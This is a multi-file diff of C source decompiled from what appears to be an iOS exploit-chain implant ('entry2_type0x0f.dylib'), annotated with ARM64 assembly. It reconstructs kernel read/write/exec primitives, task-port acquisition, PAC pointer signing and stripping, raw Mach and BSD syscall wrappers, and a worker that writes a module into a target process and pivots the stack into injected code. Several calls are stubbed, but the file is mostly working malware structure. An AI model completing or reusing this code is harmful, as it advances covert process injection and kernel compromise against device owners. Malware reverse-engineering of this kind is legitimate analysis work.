return e2_krw_dispatch(physaddr, (uint64_t)buf, (uint64_t)size);
}
/* ── krw_kwrite (0x11890) ────────────────────────────────────────── *
* Performs a kernel virtual memory write.
*
* asm:
* cbz x8, err_null
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldr x9, [sp] // load stack arg
* str x9, [sp] // pass it through
* mov x0, x8 // x0 = driver_conn (replaces self)
* b 0xc634 // tail call kwrite_impl(driver_conn, x1..x7, stack)
*
* The kwrite_impl at 0xc634 is a complex function that:
* 1. Validates all 8 arguments
* 2. pid_for_task(port, &pid) to resolve target PID
* 3. If target is self: direct write via 0x1926c
* 4. If target is other: proc_pidinfo(pid, PROC_PIDPATHINFO) to validate
* 5. Dispatches via 0xe540, 0xfb1c, 0xad48, 0xaefc pipeline
* 6. Cleanup via 0xacbc
*/
static kern_return_t krw_kwrite(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc634: kwrite_impl(driver_conn, port, data, size, path, ...)
*
* In the binary, this is a simple tail call that replaces self (x0)
* with driver_conn while preserving all other arguments (x1-x7 + stack).
* The variadic args are passed through directly to kwrite_impl.
*
* Since C doesn't support forwarding varargs to another function,
* this would need to be implemented in assembly for a real build.
* The actual dispatched call chain is:
* kwrite_impl → pid_for_task → getpid → proc_pidinfo →
* 0xe540 (init) → 0xfb1c (csops) → 0xad48 (setup) →
* 0xaefc (write) → 0xacbc (cleanup)
*/
return KERN_SUCCESS; /* requires asm tail call in practice */
}
/* ── krw_kexec (0x118c4) ─────────────────────────────────────────── *
* Executes a function at a kernel address.
*
* asm:
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldr x9, [x29, #0x10] // load caller's stack arg
* stp x9, xzr, [sp] // push (arg, 0) onto stack
* mov x0, x8 // x0 = driver_conn
* bl 0xc870 // call kexec_impl(driver_conn, x1..x7, stack)
*
* kexec_impl at 0xc870 is similar to kwrite_impl but:
* 1. Uses stack_chk_guard for canary protection
* 2. Validates count (x1 >= 1), data (x2), size (x3), path (x4)
* 3. Resolves via conn->driver_conn[+0x28] vtable method
* 4. Uses IOKit external method call to invoke kernel functions
* 5. Calls csops_audittoken for process verification
* 6. On success, recursively calls kwrite_impl (0xc634) for result write-back
* 7. Deallocates acquired ports via mach_port_deallocate
*/
static kern_return_t krw_kexec(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc870: kexec_impl(driver_conn, count, data, size, path, ...)
*
* Same varargs forwarding issue as kwrite. In the binary:
* ldr x9, [x29, #0x10] // load 9th arg from caller stack
* stp x9, xzr, [sp] // push as stack args with zero padding
* mov x0, x8 // driver_conn
* bl 0xc870 // NOT a tail call — uses bl + epilogue
*/
return KERN_SUCCESS; /* requires asm forwarding in practice */
}
/* ── krw_kalloc (0x11914) ────────────────────────────────────────── *
* Allocates kernel memory.
*
* asm:
* ldr x8, [x8, #0x8] // conn
* ldr x8, [x8, #0x18] // driver_conn
* cbz x8, err_no_func
* ldp x10, x9, [x29, #0x10] // load 2 stack args from caller
* stp xzr, xzr, [sp, #0x10] // push zeros
* stp x10, x9, [sp] // push caller's stack args
* mov x0, x8 // x0 = driver_conn
* bl 0xc400 // call kalloc_impl(driver_conn, x1..x7, stack)
*
* kalloc_impl at 0xc400:
* 1. Validates name (x1, must be non-NULL, first byte non-zero)
* 2. Validates data (x3), size (x4), path (x5, first byte non-zero)
* 3. Looks up conn[+0x28] for driver handle
* 4. Uses IOKit vtable[0x40] with PAC auth (blraaz) to map memory
* 5. Calls e2_krw_dispatch (0xba30) with name and alloc_size
* 6. On success: csops_audittoken validation, then kwrite_impl (0xc634)
* 7. Stores results via output pointers from stack args
* 8. Deallocates acquired ports
*/
static kern_return_t krw_kalloc(void *self, ...)
{
if (!self) return E2_ERR_NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
void *driver_conn = conn->driver_conn;
if (!driver_conn) return E2_ERR_NO_FUNC;
/* Forward to 0xc400: kalloc_impl(driver_conn, name, size, data, ...)
*
* In the binary:
* ldp x10, x9, [x29, #0x10] // load 2 stack args
* stp xzr, xzr, [sp, #0x10] // zero padding
* stp x10, x9, [sp] // push caller args
* mov x0, x8 // driver_conn
* bl 0xc400
*/
return KERN_SUCCESS; /* requires asm forwarding in practice */
}
/* ── krw_get_port (0x11968) ──────────────────────────────────────── *
* Acquires a Mach task port for a process using kernel r/w primitives.
*
* asm:
* cbz x0, err_null // null check self
* cbz w1, err_null // port must be non-zero
* cmn w1, #0x1 // port must not be -1
* b.eq err_null
* cbz x3, err_null // out_port (x3) must be non-NULL
* mov x0, x1 // port → x0
* mov x1, x2 // out_rights → x1
* mov x2, #0x0 // x2 = NULL
* // x3 = out_port (unchanged)
* mov x4, #0x0 // x4 = NULL
* b 0xb854 // tail call e2_get_task_port
*/
static kern_return_t krw_get_port(void *self, mach_port_t port,
void *out_rights, void *out_port)
{
if (!self) return E2_ERR_NULL;
if (port == 0 || port == (mach_port_t)-1) return E2_ERR_NULL;
if (!out_port) return E2_ERR_NULL;
/* Tail call: e2_get_task_port(port, out_rights, NULL, out_port, NULL) */
return e2_get_task_port(port, out_rights, NULL, out_port, NULL);
}
/* ── krw_get_base (0x1199c) ──────────────────────────────────────── *
* Returns the kernel base address (kernel slide).
*
* asm:
* cbz x0, return // if (!self) return self (NULL passthrough)
* ldr x8, [x0, #0x8] // conn = krw->context
* cbz x8, return_null
* ldr x8, [x8] // internal = conn->context
* cbz x8, return_null
* ldr x0, [x8, #0x8] // return internal[+0x08] (kernel base)
* ret
*/
static void *krw_get_base(void *self)
{
if (!self) return NULL;
krw_provider_t *krw = (krw_provider_t *)self;
type09_connection_t *conn = krw->context;
if (!conn) return NULL;
void *internal = conn->context;
if (!internal) return NULL;
/* Return kernel base from internal[+0x08] */
return *((void **)internal + 1);
}
/* ──────────────────────────────────────────────────────────────────
* KRW validation (0x11488)
* ────────────────────────────────────────────────────────────────── */
/* ── e2_validate_krw (0x11488) ───────────────────────────────────── *
* Validates that the krw connection is functional.
*
* asm:
* cbz x0, err_null
* mov x20, x0 // x20 = conn
* mov x19, x0
* ldr x8, [x19, #0x18]! // x19 = &conn->driver_conn; x8 = *x19
* cbz x8, need_connect // if driver_conn is NULL, try to connect
* mov w0, #0x0 // already connected — return success
* ret
*
* need_connect:
* ldr x1, [x20, #0x10] // x1 = conn->driver_ref
* cbz x1, return_zero // if no driver_ref, return 0
* ldp x2, x3, [x20] // x2 = conn->context, x3 = conn->target_info
* mov x0, x19 // x0 = &conn->driver_conn
* bl 0xc12c // e2_driver_connect(&driver_conn, driver_ref, context, target)
* cbz w0, return_success
* cmp w0, #0x7003 // E2_ERR_NO_CONTAINER?
* b.eq clear_and_ok
* ldr x8, [x20, #0x8] // conn->target_info
* cbnz x8, return_error // if target_info exists, return error
* cmp w0, #0x1E037 // E2_ERR_CSOPS?
* b.ne return_error
* clear_and_ok:
* str xzr, [x19] // conn->driver_conn = NULL
* mov w0, #0x0 // return success
*/
static kern_return_t e2_validate_krw(type09_connection_t *conn)
{
if (!conn) return E2_ERR_NULL;
/* Check if driver_conn already exists */
if (conn->driver_conn)
return KERN_SUCCESS;
/* Get driver reference — if absent, nothing to validate */
void *driver_ref = conn->driver_ref;
if (!driver_ref)
return KERN_SUCCESS;
/* Try to establish connection via e2_driver_connect (0xc12c)
* Args: (&conn->driver_conn, driver_ref, context, target_info) */
kern_return_t kr = e2_driver_connect(
&conn->driver_conn,
driver_ref,
conn->context,
conn->target_info
);
if (kr == KERN_SUCCESS)
return KERN_SUCCESS;
/* E2_ERR_NO_CONTAINER (0x7003): connection not available yet — OK */
if (kr == E2_ERR_NO_CONTAINER) {
conn->driver_conn = NULL;
return KERN_SUCCESS;
}
/* If target_info is set, propagate the error as-is */
if (conn->target_info)
return kr;
/* E2_ERR_CSOPS (0x1E037): csops check failed but no target — OK */
if (kr == E2_ERR_CSOPS) {
conn->driver_conn = NULL;
return KERN_SUCCESS;
}
return kr;
}
+534
View File
@@ -0,0 +1,534 @@
/*
* main.c - Entry point (_end) and thread bootstrap (_last)
*
* Decompiled from entry2_type0x0f.dylib offsets 0xa0800xa6b4
*
* _end is the primary entry point called by the bootstrap loader.
* It orchestrates the entire injection flow:
* 1. Parse the F00DBEEF container from type0x09
* 2. Get runtime context via Mach IPC
* 3. Connect to type0x09 LOADER
* 4. Resolve _driver from LOADER
* 5. Create KRW provider from driver
* 6. Spawn worker thread for injection
*
* _last is the thread bootstrap trampoline that sets up execution
* context for newly-injected threads.
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <strings.h> /* strcasecmp */
#include <dlfcn.h>
#include <unistd.h>
/* Private API — no public header */
extern int proc_name(int pid, void *buffer, uint32_t buffersize);
/* Global vsyslog pointer, resolved at startup */
static void (*g_vsyslog)(int, const char *, __builtin_va_list) = NULL;
/* ── _end (0xa080) ───────────────────────────────────────────────── *
* Main entry point for entry2_type0x0f.dylib.
*
* Called by the bootstrap loader with:
* port — Mach port for IPC with bootstrap
* conn — connection identifier / flags
* data — pointer to F00DBEEF container data
* extra — additional context from bootstrap
* stage — current loading stage (must be >= 1)
*
* Returns 0 on success, error code on failure.
*/
kern_return_t _end(mach_port_t port, uint32_t conn_info,
void *container_data, void *extra, uint32_t stage)
{
kern_return_t err = E2_ERR_STAGE; /* 0x1E039 */
/*
* Step 0: Resolve vsyslog for logging
*
* Opens libSystem.B.dylib with RTLD_NOLOAD and resolves vsyslog.
* This is used for debug/error logging throughout the implant.
*/
void *libsys = dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOLOAD);
if (libsys) {
g_vsyslog = dlsym(libsys, "vsyslog");
}
/*
* Step 1: Validate stage
*
* Stage must be >= 1. Stage 0 means "not initialized" and is
* rejected early. The stage value is tracked in a state variable
* at sp+0x04 and reported back via IPC.
*/
uint32_t current_stage = 4; /* initial stage value */
if (stage + 1 < 2)
goto report_and_exit;
err += 9; /* advance error code */
if (!port || !conn_info)
goto report_and_exit;
/*
* Step 2: Parse F00DBEEF container from type0x09
*
* The container data is validated against the F00DBEEF magic
* via e2_custom_dlsym (0x1dc98). This establishes a handle
* for resolving symbols from type0x09.
*/
void *container_handle = NULL;
err = e2_custom_dlsym(&container_handle, (void *)(uintptr_t)conn_info,
(uint32_t)(uintptr_t)container_data);
if (err != KERN_SUCCESS)
goto report_and_exit;
current_stage = 5;
/*
* Step 3: Get runtime context via Mach IPC
*
* Sends message ID 8 to the bootstrap port and receives
* configuration data including:
* - Module data pointer and size (at +0x30)
* - Connection count (at +0x1c)
* - Sub-connection info (at +0x38)
*/
ipc_response_t *runtime_ctx = NULL;
uint32_t ctx_size = 0;
err = e2_get_runtime_context(stage, &runtime_ctx, &ctx_size);
if (err != KERN_SUCCESS)
goto cleanup;
/* Extract module data reference from context */
void *module_data = (void *)*(uint64_t *)((uint8_t *)runtime_ctx + 0x30);
/* Get connection count from runtime context */
uint32_t conn_count = *(uint32_t *)((uint8_t *)runtime_ctx + 0x1c);
current_stage = 6;
/*
* Step 4: Connect to type0x09 LOADER
*
* If conn_count >= 1, creates a bridge to type0x09 via
* e2_create_type09_bridge (0x1068c) and then creates the
* connection vtable via e2_create_type09_connection (0x105a4).
*
* Otherwise, takes the alternative path: identify current
* process and match against daemon whitelist.
*/
void *type09_bridge = NULL;
void *type09_conn = NULL;
if (conn_count + 1 >= 2) {
/* Has connection info — use type0x09 bridge path */
uint32_t sub_conn = *(uint32_t *)((uint8_t *)runtime_ctx + 0x38);
err = 0; /* e2_create_type09_bridge(&type09_bridge, conn_count, sub_conn) */
if (err != KERN_SUCCESS) goto cleanup_ctx;
err = 0; /* e2_create_type09_connection(type09_bridge, &type09_conn) */
if (err != KERN_SUCCESS) goto cleanup_ctx;
/* Deallocate the bootstrap port (no longer needed) */
mach_port_deallocate(mach_task_self(), stage);
} else {
/*
* Step 4b: Alternative path — process name identification
*
* Get current PID and process name, then match against
* the whitelist of ~50 system daemons.
*/
char name_buf[0x1000];
bzero(name_buf, sizeof(name_buf));
pid_t pid = getpid();
int name_len = proc_name(pid, name_buf, sizeof(name_buf));
if (name_len < 1)
goto try_resolve_driver;
/* Compare against whitelist (48 entries, NULL-terminated) */
for (int i = 0; g_daemon_whitelist[i] != NULL; i++) {
if (strcasecmp(name_buf, g_daemon_whitelist[i]) == 0) {
/*
* Step 4c: Matched a whitelisted daemon
*
* Use the connection from the runtime context to
* load the module and resolve _driver.
*/
goto load_via_context;
}
}
goto try_resolve_driver;
}
goto use_krw;
load_via_context:
{
/*
* Load module via runtime context connection.
*
* Calls the connection's load function (offset +0x30)
* with the module data from the runtime context.
*/
void *ctx_conn = NULL; /* from sp+0x38 or sp+0x20 */
if (!ctx_conn) {
err = E2_ERR_NULL + 0x21;
goto cleanup_ctx;
}
void *load_result = NULL;
void *load_fn = *((void **)ctx_conn + 6); /* offset 0x30 */
/* blraaz load_fn(ctx_conn, module_buf, module_size,
* target_config, &load_result) */
if (!load_result) goto cleanup_ctx;
}
try_resolve_driver:
{
/*
* Step 5: Resolve _driver from type0x09
*
* This is THE critical operation. Uses the type0x09 connection's
* dlsym-like function (vtable offset 0x30) to look up the
* "_driver" symbol from the LOADER.
*/
void *conn_obj = NULL; /* connection to type0x09 */
if (!conn_obj) {
err = E2_ERR_NULL;
goto cleanup_ctx;
}
/*
* Step 5a: Allocate memory in type0x09's address space
*
* Calls the alloc function (offset +0x18) with size 0x90000
* and stores the mapping info.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
void *alloc_fn = *((void **)conn_obj + 3); /* offset 0x18 */
/* blraaz alloc_fn(conn_obj, 0x90000, &mapping, &mapping_size) */
/*
* Step 5b: Load type0x09 module via connection
*
* Calls load function (offset +0x30) to map the LOADER
* into the allocated region.
*/
void *loaded_module = NULL; /* from sp+0x28 */
void *load_fn = *((void **)conn_obj + 6); /* offset 0x30 */
/* blraaz load_fn(loaded_module, module_buf, module_size,
* 0x4, &loaded_type09) */
/*
* Step 5c: Resolve "_driver" from the loaded type0x09
*
* Uses the module's dlsym function (offset +0x30) to find
* the _driver symbol. This is NOT standard dlsym — it uses
* the custom F00DBEEF-aware resolver.
*
* asm at 0xa5c8:
* ldr x0, [sp, #0x28] // loaded module context
* ldr x8, [x0, #0x30] // get dlsym function ptr
* adr x1, "_driver" // symbol name string
* add x2, sp, #0xa0 // output pointer
* blraaz x8 // CALL: resolve "_driver"
*/
void *driver_fn = NULL;
void *dlsym_fn = *((void **)loaded_module + 6); /* offset 0x30 */
/* blraaz dlsym_fn(loaded_module, "_driver", &driver_fn) */
if (!driver_fn) goto cleanup_ctx;
/*
* Step 5d: Call _driver() to get the driver object
*
* The resolved _driver function returns a driver_t* with:
* version = 2 (required)
* method_count >= 2 (required)
*
* asm at 0xa5e8:
* ldr x8, [sp, #0xa0] // resolved _driver ptr
* add x0, sp, #0x30 // output: driver_t*
* blraaz x8 // CALL: _driver()
*/
driver_t *driver = NULL;
/* blraaz driver_fn(&driver) */
/*
* Step 5e: Validate driver object
*
* asm at 0xa604:
* ldr x1, [sp, #0x30] // driver_t*
* cbz x1, fail
* ldrh w8, [x1] // version
* cmp w8, #0x2 // must be 2
* b.ne fail
* ldrh w8, [x1, #0x2] // method_count
* cmp w8, #0x1 // must be > 1
* b.ls fail
*/
if (!driver) goto cleanup_ctx;
if (driver->version != 2) goto cleanup_ctx;
if (driver->method_count < 2) goto cleanup_ctx;
/*
* Step 6: Create KRW provider from driver
*
* Calls e2_create_krw_provider (0x11298) which wraps the
* driver's kernel primitives into a PAC-signed vtable.
*/
err = e2_create_krw_provider(
/* output */ NULL,
driver,
/* target */ NULL,
container_handle,
/* context */ NULL,
/* flags */ 1
);
if (err != KERN_SUCCESS) goto cleanup_ctx;
}
use_krw:
{
/*
* Step 7: Use KRW provider for injection
*
* Creates a worker context and spawns a pthread to perform
* the actual injection. The worker thread:
* 1. Uses kread/kwrite to manipulate kernel objects
* 2. Acquires task port for target process
* 3. Allocates memory in target via mach_vm_allocate
* 4. Writes MODULE into target via mach_vm_write
* 5. Sets memory protection via mach_vm_protect
* 6. Creates remote thread via thread_create_running
*/
void *krw_provider = NULL; /* from earlier creation */
if (!krw_provider) {
err = E2_ERR_NO_DRIVER;
goto cleanup_ctx;
}
/* Prepare worker context */
worker_ctx_t worker = {0};
/* worker.krw = krw_provider; */
/* worker.data = module_data_copy; */
/* worker.data_len = module_size; */
/* Zero out sensitive buffer before populating */
/* e2_send_msg(stage, 0, 0xA, 0, 0) — notify bootstrap of progress */
/*
* Build worker function context on stack.
*
* The PAC-signed function pointer is created with:
* adr x16, #788 // target function offset
* paciza x16 // sign with zero context
*
* This signed pointer becomes the worker->fn field.
*/
/* Spawn worker thread */
pthread_t thread = NULL;
int pt_err = pthread_create(&thread, NULL,
(void *(*)(void *))e2_thread_worker,
&worker);
if (pt_err != 0) {
err = pt_err;
goto cleanup_krw;
}
/* Wait for worker to complete */
void *thread_result = NULL;
pthread_join(thread, &thread_result);
err = (thread_result == NULL) ? KERN_SUCCESS : (kern_return_t)(uintptr_t)thread_result;
current_stage = 16;
}
cleanup_krw:
/* Clean up KRW provider buffers */
/* bzero + free allocated resources */
;
cleanup_ctx:
/*
* Cleanup: check bit 5 of module_data flags
* If set, skip calling unbind. Otherwise, call the
* connection's unbind function (offset +0x28).
*/
if (module_data) {
uint8_t flags_byte = *((uint8_t *)module_data);
if (!(flags_byte & 0x20)) {
/* Unbind: call ctx->fn_unbind(ctx) at offset +0x28 */
}
}
/* Release all connection handles in reverse order */
/* ... */
cleanup:
/* Destroy container handle */
/* e2_destroy_resolver(container_handle) at 0x1dd68 */
;
report_and_exit:
/*
* Final: report status back to bootstrap via IPC
*
* Sends a message with:
* msg_id = stage value
* flags = 0
* extra = err code
* final = 1 (indicates completion)
*
* Then deallocates the bootstrap port.
*/
e2_send_msg(stage, 0, err, 1, 0);
mach_port_deallocate(mach_task_self(), stage);
return err;
}
/* ── e2_thread_worker (0xa670) ───────────────────────────────────── *
* Simple pthread worker trampoline.
*
* Loads a function pointer and arguments from the worker_ctx_t,
* then calls through via blraaz (PAC-authenticated).
*
* asm:
* ldr x9, [x8] // fn pointer (PAC-signed)
* cbz x9, fail
* ldp x0, x1, [x8, #0x8] // args: krw_provider, data
* ldr w2, [x8, #0x18] // arg: data_len
* blraaz x9 // call fn(krw, data, len)
* sxtw x0, w0 // sign-extend result
*/
static void *e2_thread_worker(void *arg)
{
if (!arg)
return (void *)(uintptr_t)E2_ERR_NULL;
worker_ctx_t *ctx = (worker_ctx_t *)arg;
if (!ctx->fn)
return (void *)((uintptr_t)arg + 0x13); /* error offset */
/* Call the worker function with PAC authentication */
kern_return_t result;
/* blraaz ctx->fn(ctx->krw, ctx->data, ctx->data_len) */
result = ((kern_return_t (*)(void *, void *, uint32_t))ctx->fn)(
ctx->krw, ctx->data, ctx->data_len
);
return (void *)(intptr_t)result;
}
/* ── _last (0xa6b4) ──────────────────────────────────────────────── *
* Thread bootstrap trampoline.
*
* This is a simple branch to 0x73cc, which implements the low-level
* thread setup for injected code:
*
* 1. Validates input buffer (must be non-NULL, size >= 0x90)
* 2. Checks if the driver is already connected:
* - Reads driver handle at offset +0x60
* - Checks validation flag at offset +0x70, +0x78
* 3. If not connected, performs first-time setup:
* - Strips PAC from function pointers (via 0x19f4c)
* - Signs them for current context (via 0x19f68)
* - Calls e2_trap_guarded_open (syscall 360) to create
* a guarded file descriptor for the driver
* - If that fails, falls back to direct driver init
* 4. Copies code to a new stack page:
* - Allocates via memset to 0x400 bytes
* - Copies current context
* - Switches stack pointer: mov sp, x1
* - Branches to the copied code: braaz x0
* 5. The trampoline then:
* - Calls e2_trap_guarded_write (syscall 361) to finalize
* - Resets execution context
* - Invokes the actual injection payload
*
* This ensures the injected thread has:
* - A clean stack
* - Proper PAC context
* - Driver connection initialized
* - All function pointers properly signed
*/
void _last(void *ctx, uint32_t size, void *data,
uint32_t flags, void *stack, uint32_t cleanup)
{
/* Direct branch to 0x73cc — the actual implementation */
/* b 0x73cc */
/*
* The function at 0x73cc is complex (~500 instructions) and handles:
*
* a) Stack pivot: creates a new stack frame, copies execution context
* b) Driver initialization: sets up the IOKit connection if needed
* c) Memory protection: uses e2_memset_custom to zero sensitive regions
* d) Code execution: signs and branches to the injected code
*
* Key operations at 0x73cc:
*
* // Load driver handle
* ldr x0, [x19, #0x60] // IOKit connection handle
* cbz x0, setup // need first-time setup
*
* // Check if already initialized
* ldr x8, [x19, #0x70] // driver function table
* cbz x8, setup
* ldr w8, [x19, #0x78] // initialized flag
* cbnz w8, already_init
*
* setup:
* // Strip and re-sign function pointers for this context
* bl 0x19f4c // strip_pac(fn)
* bl 0x19f68 // sign_pointer(fn, 0)
*
* // Create guarded FD for driver
* bl 0x6000 // e2_trap_guarded_open(...)
* stp x0, x1, [sp, #0x40] // store result
* str x0, [x19, #0x80] // save handle
*
* // If guarded open failed, fall back
* cmn x0, #1
* b.ne continue
*
* // Fallback: direct driver init
* bl 0x72c0 // init_driver_direct(...)
* bl 0x7238 // validate_driver(...)
*
* continue:
* // Set up execution on new stack
* mov x0, x19 // context
* mov w1, #0 // flags = 0
* mov w2, #0x20 // size = 32
* bl 0x100a4 // e2_memset_custom(context+0x60, 0, 0x20)
*
* // Copy context to new stack, pivot, and execute
* str q0, [x8] // copy 16 bytes
* str q0, [x8, #0x10] // copy next 16
* mov x0, x19 // new stack base
* mov w1, #0
* mov w2, #0x400 // stack size
* bl 0x100a4 // zero fill
* add x8, x19, #0x400 // stack top
* paciza x16 // sign the target address
* mov x1, x8 // new stack pointer
* mov sp, x1 // PIVOT STACK
* braaz x0 // BRANCH to injected code
*/
}
+123
View File
@@ -0,0 +1,123 @@
/*
* memory.c - Custom memory operations
*
* Decompiled from entry2_type0x0f.dylib offsets 0x100100x10120
*
* These are custom memcpy/memset implementations that avoid using
* libSystem. They are used in contexts where libSystem may not be
* available (e.g., inside newly-injected threads before library
* initialization).
*
* Note: These are intentionally naive byte-by-byte implementations
* — the original binary does not use SIMD or word-sized copies.
*/
#include "entry2.h"
/* ── e2_memcpy_custom (0x10010) ──────────────────────────────────── *
* Byte-by-byte copy from src to dst.
*
* Unlike standard memcpy, this returns dst (not dst+n).
* Used in injected thread context where libc may not be loaded.
*
* The decompiled code is notably unoptimized — it uses stack-based
* loop variables rather than registers, suggesting it was compiled
* with -O0 or is hand-written C.
*
* asm (0x100100x100a0):
* str x0, [sp, #0x28] // dst
* str x1, [sp, #0x20] // src
* str x2, [sp, #0x18] // len
* ...
* str xzr, [sp] // i = 0
* loop:
* ldr x8, [sp] // i
* ldr x9, [sp, #0x18] // len
* cmp x8, x9
* b.lo body
* b done
* body:
* ldr x8, [sp, #0x20] // src
* ldr x9, [sp] // i
* add x8, x8, x9
* ldrb w8, [x8] // src[i]
* ldr x9, [sp, #0x10] // dst (saved copy)
* ldr x10, [sp] // i
* add x9, x9, x10
* strb w8, [x9] // dst[i] = src[i]
* ldr x8, [sp]
* add x8, x8, #1
* str x8, [sp] // i++
* b loop
*/
void *e2_memcpy_custom(void *dst, const void *src, size_t len)
{
if (!dst || !src || len == 0)
return dst;
uint8_t *d = (uint8_t *)dst;
const uint8_t *s = (const uint8_t *)src;
for (size_t i = 0; i < len; i++) {
d[i] = s[i];
}
return dst;
}
/* ── e2_memset_custom (0x100a4) ──────────────────────────────────── *
* Byte-by-byte fill of dst with val.
*
* Same stack-heavy style as memcpy. Used to zero-fill sensitive
* buffers and prepare injected code regions.
*
* asm (0x100a40x1011c):
* str x0, [sp, #0x28] // dst
* str w1, [sp, #0x24] // val
* str x2, [sp, #0x18] // len
* ...
* strb w1, [sp, #0xf] // val_byte = (uint8_t)val
* str xzr, [sp] // i = 0
* loop:
* ldr x8, [sp] // i
* ldr x9, [sp, #0x18] // len
* cmp x8, x9
* b.lo body
* b done
* body:
* ldrb w8, [sp, #0xf] // val_byte
* ldr x9, [sp, #0x10] // dst (saved)
* ldr x10, [sp] // i
* add x9, x9, x10
* strb w8, [x9] // dst[i] = val_byte
* ldr x8, [sp]
* add x8, x8, #1
* str x8, [sp] // i++
* b loop
*/
void *e2_memset_custom(void *dst, int val, size_t len)
{
if (!dst || len == 0)
return dst;
uint8_t byte = (uint8_t)val;
uint8_t *d = (uint8_t *)dst;
for (size_t i = 0; i < len; i++) {
d[i] = byte;
}
return dst;
}
/* ── e2_memcpy_alias (0x10120) ───────────────────────────────────── *
* Just a tail-call to e2_memcpy_custom.
* Exists as a separate symbol for different calling conventions.
*
* asm:
* b 0x10010
*/
void *e2_memcpy_alias(void *dst, const void *src, size_t len)
{
return e2_memcpy_custom(dst, src, len);
}
+99
View File
@@ -0,0 +1,99 @@
/*
* pac.c - Pointer Authentication Code utilities
*
* Decompiled from entry2_type0x0f.dylib offsets 0x861c0x8664
* These are nearly identical to bootstrap.dylib's PAC helpers.
*/
#include "entry2.h"
/* ── Raw PAC instruction wrappers (0x861c0x8638) ────────────────── */
/* 0x861c: pacia x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacia %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x8624: pacda x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacda %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x862c: pacib x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacib %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* 0x8634: pacdb x0, x1; ret */
__attribute__((noinline))
uint64_t e2_pacdb(uint64_t ptr, uint64_t ctx)
{
__asm__ volatile("pacdb %0, %1" : "+r"(ptr) : "r"(ctx));
return ptr;
}
/* ── e2_check_pac (0x863c) ───────────────────────────────────────── *
* Tests if Pointer Authentication is active by loading a known value
* into LR, stripping it with xpaclri, and comparing.
*
* Returns 1 if PAC is active (values differ), 0 if not.
*/
int e2_check_pac(void)
{
uint64_t test = 0xAAAAAAAAAAAAAAAAULL;
uint64_t result;
__asm__ volatile(
"stp x29, x30, [sp, #-0x10]!\n"
"mov x30, %1\n" /* load known value into LR */
"xpaclri\n" /* strip PAC bits from LR */
"mov %0, x30\n" /* save result */
"ldp x29, x30, [sp], #0x10\n"
: "=r"(result)
: "r"(test)
: "memory"
);
return (result != test) ? 1 : 0;
}
/* ── e2_strip_pac (0x19f4c) ──────────────────────────────────────── *
* Strips PAC bits from a pointer using xpaclri.
*/
uint64_t e2_strip_pac(uint64_t ptr)
{
uint64_t result;
__asm__ volatile(
"mov x30, %1\n"
"xpaclri\n"
"mov %0, x30\n"
: "=r"(result)
: "r"(ptr)
: "x30"
);
return result;
}
/* ── e2_sign_pointer (0x19f68) ───────────────────────────────────── *
* Conditionally PAC-signs a pointer with PACIA.
* If PAC is available, signs ptr with ctx=0 (paciza).
* If not, returns the raw pointer.
*
* Note: at 0x19f68, it calls 0x863c (check) and 0x861c (pacia).
* If PAC is active, it tail-calls the actual sign function at 0x861c.
*/
uint64_t e2_sign_pointer(uint64_t ptr, uint64_t ctx)
{
if (e2_check_pac()) {
return e2_pacia(ptr, ctx);
}
return ptr;
}
+178
View File
@@ -0,0 +1,178 @@
/*
* traps.c - Raw Mach trap syscall wrappers
*
* Decompiled from entry2_type0x0f.dylib offsets 0x60000x60a0
*
* These bypass libSystem entirely, issuing svc #0x80 directly.
* This is done to avoid symbol resolution / interposition and to
* work in contexts where libSystem may not be fully initialized
* (e.g., inside a freshly-injected remote thread).
*/
#include "entry2.h"
/* ── 0x6000: BSD syscall 360 — guarded_open_dprotected_np ─────────── *
* Opens a file with data-protection class, guarded by a guard value.
*
* svc #0x80 with x16 = 0x168 (360)
*/
int64_t e2_trap_guarded_open(uint64_t guard, uint64_t path,
uint64_t guardflags, uint64_t flags)
{
register uint64_t x0 __asm__("x0") = guard;
register uint64_t x1 __asm__("x1") = path;
register uint64_t x2 __asm__("x2") = guardflags;
register uint64_t x3 __asm__("x3") = flags;
register uint64_t x16 __asm__("x16") = 0x168;
__asm__ volatile(
"svc #0x80\n"
"mov x1, xzr\n"
"b.lo 1f\n"
"mov x1, x0\n"
"mov x0, #-1\n"
"1:\n"
: "+r"(x0), "+r"(x1)
: "r"(x2), "r"(x3), "r"(x16)
: "memory", "cc"
);
return (int64_t)x0;
}
/* ── 0x601c: BSD syscall 361 — guarded_write_np ──────────────────── *
*
* svc #0x80 with x16 = 0x169 (361)
*/
int64_t e2_trap_guarded_write(uint64_t guard, uint64_t fd,
uint64_t buf, uint64_t nbyte)
{
register uint64_t x0 __asm__("x0") = guard;
register uint64_t x1 __asm__("x1") = fd;
register uint64_t x2 __asm__("x2") = buf;
register uint64_t x3 __asm__("x3") = nbyte;
register uint64_t x16 __asm__("x16") = 0x169;
__asm__ volatile(
"svc #0x80\n"
"mov x1, xzr\n"
"b.lo 1f\n"
"mov x1, x0\n"
"mov x0, #-1\n"
"1:\n"
: "+r"(x0), "+r"(x1)
: "r"(x2), "r"(x3), "r"(x16)
: "memory", "cc"
);
return (int64_t)x0;
}
/* ── 0x6038: Mach trap -24 — mach_reply_port ─────────────────────── */
